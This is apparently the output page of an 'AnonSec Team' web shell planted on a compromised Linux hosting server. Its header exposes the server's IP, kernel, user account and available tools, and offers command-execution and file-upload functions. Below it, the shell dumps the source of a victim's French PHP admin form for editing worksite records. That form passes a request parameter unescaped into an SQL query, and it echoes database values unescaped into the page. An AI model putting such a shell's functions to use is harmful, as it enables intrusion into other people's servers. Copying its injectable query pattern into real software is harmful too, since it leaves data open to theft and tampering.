AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/logmcpe/www/TEST/../TMCPRO/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TEST/../TMCPRO/pages/ajaxModifierChantierr.php
<?php

// echo "yassin <br/>" ; 
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo "<pre>" ; 
// printj_r($_POST) ; 
// echo "</pre>" ; 

// exit() ; 

if($_POST['rowid']>0)
{
	$_GET['chantier_ID']=$_POST['rowid'] ; 
}

// echo "==> ".$_GET['chantier_ID']."<br/>"

	
	// $qm = dbi_query('scddelect * from contact where contact_id='.$contact_id.'') ;
	// $tabmod = dbi_fetch_row($qm);
	
	// $contact_nom=$tabmod['contact_nom'];
	// $contact_pnom=$tabmod['contact_pnom'];
	// $contact_fonction=$tabmod['contact_fonction'];
	// $contact_tele1=$tabmod['contact_tele1'];
	// $contact_tele2=$tabmod['contact_tele2'];
	// $contact_email=$tabmod['contact_email'];
	
	
	
	
	
	$chaine = 'Ajouter chantier' ;  
	  if(!empty($_GET['chantier_ID']))
  {
	 $chaine = 'Modifier chantier' ;  
  }

?>


             

            <div class="modal-header task-single-header" data-task-single-id="5" data-status="4">
              <h4 class="modal-title"><?php echo $chaine ;?></h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <div class="modal-body">
 

  <form action="" method="POST">   
   
   <?php
   

   // unset($red) ; 
   
     if(!empty($_GET['chantier_ID']))
  {
 		
		   $red=  dbi_fetch_row(dbi_query("SELECT * FROM chantier where chantier_ID = ".$_GET['chantier_ID'])) ; 
   
   $chantier_designation = $red['chantier_designation']; 
   
   // echo "====>".$chantier_designation."<br/>" ; 
   ?>

 <!-- ///////Ligne société & Catégorie --> 

<!-- ///////Ligne -->   


  <div class="form-row"> 


  
  
  
  
  
  
  
 
    
            <!-- /.card-header -->
      
              <div class="form-group col-md-12">
			  
			  <label for="inputAddresse">Designation</label>
                <textarea class="textarea" placeholder="Place some text here"
                          style="width: 100%; height: 200px; font-size: 18px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;" name="chantier_designation"   > <?php echo $chantier_designation ;  ?> </textarea>
              </div>
</div>
           

  
  
  <div class="form-row"> 
  

			
			
    <div class="form-group col-md-4">
      <label>Date de D&#233;but</label>
	  <div class="input-group">
                    <div class="input-group-prepend">
                      <span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
                    </div>
                   <?php  $chantier_debut =    int2date_autre_format($red['chantier_debut'])  ;  ?>                
				<input type="date" class="form-control" id="chantier_debut" name="chantier_debut"  value='<?php echo $chantier_debut ; ?>' placeholder="jj/mm/aaaa"/>                   
				  </div>
    
   </div>
   
   
  

	 
	 
	 
	 
	 
	 
<div class="form-group col-md-3"><!-- Liste déroulante statut -->  
                <label>Date de fin</label>
                <select class="form-control" name="travailleur_handicape" id="travailleur_handicape"  value="<?=$q['travailleur_handicape'] ; ?>" onchange="undisabledDate(this.value)">
                          <option value="-1" selected="<?php if($q['travailleur_handicape']== NULL ) { echo 'selected' ;} ?> ">-Date de fin-</option>
                   
						 <option value="0"  <?php if($red['chantier_fin']==0) echo 'SELECTED'; ?>  >Non</option>
                          <option value="1" <?php if($red['chantier_fin']>0) echo 'SELECTED'; ?> > Oui</option>
						  
                </select>
    </div>
	<?php
	if($red['chantier_fin']==0)
	{
	$disabl = "disabled" ; 
	}
	
		if($red['chantier_fin']>0)
	{
	$disabl = "" ; 
	}
	
	

	
	
	
	
	?>
	
	
	
	  <div class="form-group col-md-4">
      <label>Date de fin</label>
	  <div class="input-group">
                    <div class="input-group-prepend">
                      <span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
                    </div>
                      <?php  $chantier_fin =    int2date_autre_format($red['chantier_fin'])  ;  ?>
                 
					  <input type="date" class="form-control" id="chantier_fin" name="chantier_fin"  value='<?php if($red['chantier_fin']!=0){echo $chantier_fin ;} ?>' placeholder="jj/mm/aaaa" <?php echo $disabl ; ?>  />
                  </div>
	 </div>
	 
	 
   
   
    
	 
	
	
	
	
	
	 
	 
	 <div class="form-group col-md-3">
      <label for="inputsociete">Montant HT</label>
     
	  <input type="text"  class="form-control" name="chantier_forfaitmensuel"  value="<?php echo $red['chantier_forfaitmensuel'] ;?>" required>
  
   </div>
   	 
	 
   
                                      <div class="form-group col-md-4"> 
												<label for="inputsociete">TVA</label>
												<select class="form-control" name="chantier_TVA"  >
													<option <?php if($red['chantier_TVA'] == 20 ) echo 'selected' ; ?>  value="20"> 20  </option>
													<option <?php if($red['chantier_TVA'] == 10 ) echo 'selected' ; ?>  value="10" >10 </option>
													<option <?php if($red['chantier_TVA'] ==  0 ) echo 'selected' ; ?>  value="0" >0  </option>
												</select>
										</div>
										

   <?php
    $type= dbi_query(" SELECT * FROM `chantier_type`"); 
   ?>
    
	   <div class="form-group col-md-4"><!-- Liste déroulante statut -->  
                <label>Type</label>
                <select class="form-control" name="chantier_type_id">
				<?php
				while($typchantie= dbi_fetch_row($type))
				{
				?>
                <option value="<?php echo  $typchantie['chantier_type_id']  ;  ?>" <?php if($red['chantier_type_id'] == $typchantie['chantier_type_id'])echo 'selected' ; ?>><?php echo  $typchantie['chantier_type']  ;  ?> </option>
			<?php
				}
			?>
                </select>
    </div>
   
			
			
    
        
  

	
  </div>  
  
  <?php
  }
  else
  {
  ?>
<!-- ///////Ligne -->   
  
 
  <div class="form-row"> 

      
              <div class="form-group col-md-26">
			  
			  <label for="inputAddresse">Designation</label>
                <textarea class="textarea" placeholder="Place some text here"
                          style="width: 100%; height: 200px; font-size: 18px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;" name="chantier_designation"  value="<?=$chantier_designation?>" ></textarea>
              </div>
</div>

 <div class="form-row"> 
  

			
			
    <div class="form-group col-md-4">
      <label>Date de D&#233;but</label>
	  <div class="input-group">
                    <div class="input-group-prepend">
                      <span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
                    </div>
                    <input type="date" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="chantier_debut" <?php if(!empty($red['chantier_debut']) ) echo "value=".int2date($red['chantier_debut']) ;?> placeholder="jj/mm/aaaa"required>
                  </div>
    
   </div>
   
   
  
  <div class="form-group col-md-4">
      <label>Date de fin</label>
	  <div class="input-group">
                    <div class="input-group-prepend">
                      <span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
                    </div>
                    <input type="date" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="chantier_fin" <?php if(!empty($red['chantier_fin']) ) echo "value=".int2date($red['chantier_fin']) ;?> placeholder="jj/mm/aaaa">
                  </div>
	 </div>
	 <div class="form-group col-md-3">
      <label for="inputsociete">Montant HT</label>
     
	  <input type="text"  class="form-control" name="chantier_forfaitmensuel"  value="<?=$chantier_forfaitmensuel?>" required>
  
   </div>
<div class="form-group col-md-4"> 
												<label for="inputsociete">TVA</label>
												<select class="form-control" name="chantier_TVA"  >
													<option selected="selected" value="20"> 20  </option>
													<option value="10" >10 </option>
													<option value="0" >0  </option>
												</select>
										</div>
   

    
	   <?php
    $type = dbi_query(" SELECT * FROM `chantier_type`"); 
   ?>
    
	   <div class="form-group col-md-7"><!-- Liste déroulante statut -->  
                <label>Type  chantier</label>
                <select class="form-control" name="chantier_type_id">
				<?php
				while($typchantie= dbi_fetch_row($type))
				{
				?>
                <option value="<?php echo  $typchantie['chantier_type_id']  ;  ?>" > <?php echo  $typchantie['chantier_type']  ;  ?></option>
			<?php
				}
			?>
                </select>
    </div>
   
					
			
    
        
  

	
  </div>  
  
           

  
<!-- ///////Ligne Code Postal & Ville -->     
  
 

  
  <?php 
  }
  if(!empty($_GET['chantier_ID']))
  {
  ?>
  <input type="hidden" name="chantier_ID" value="<?=$red['chantier_ID'] ?>">
	
	           <div class="modal-footer justify-content-between">
								<button type="submit"   name="Modifier"  class="btn btn-primary">Modifier</button>
								<button style="width=10px;" type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
								  		  
				</div>
	
  <?php
  }
  else
  {
  ?>
  
     <div class="modal-footer justify-content-between">
								<button type="submit"  name="Enregistrer" value="Enregistrer" class="btn btn-primary">Enregistrer</button>
								<button style="width=10px;" type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
								  		  
				</div>
          
  <?php
  }
  ?>
</form>
 
 <script src="../../plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>
<script src="../../plugins/summernote/summernote-bs4.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
  bsCustomFileInput.init();
});


  $(function () {
    // Summernote
    $('.textarea').summernote()
  })
</script>
			
<script type="text/javascript">
//   $( document ).ready(function() {
//     $("#travailleur_handicape").cg(function () {
//       val=$(this).val();
//       if(val==1){
//         $("#chantier_fin").prop('disabled', false);
// 		 $("#salarie_motif_mutuelle").prop('disabled', false);
//       }else{
//         $("#chantier_fin").prop('disabled', true);
// 		$("#salarie_motif_mutuelle").prop('disabled', true);
//       }
                                  
//     });
   
// });
  function undisabledDate(data)
  {
    if(data==1)
    {
      $("#chantier_fin").prop('disabled', false);
      $("#salarie_motif_mutuelle").prop('disabled', false);
    }
    else
    {
      $("#chantier_fin").prop('disabled', true);
  		$("#salarie_motif_mutuelle").prop('disabled', true);
    }
  }
</script>


			
			
			
			
			
			

	  
	  



AnonSec - 2021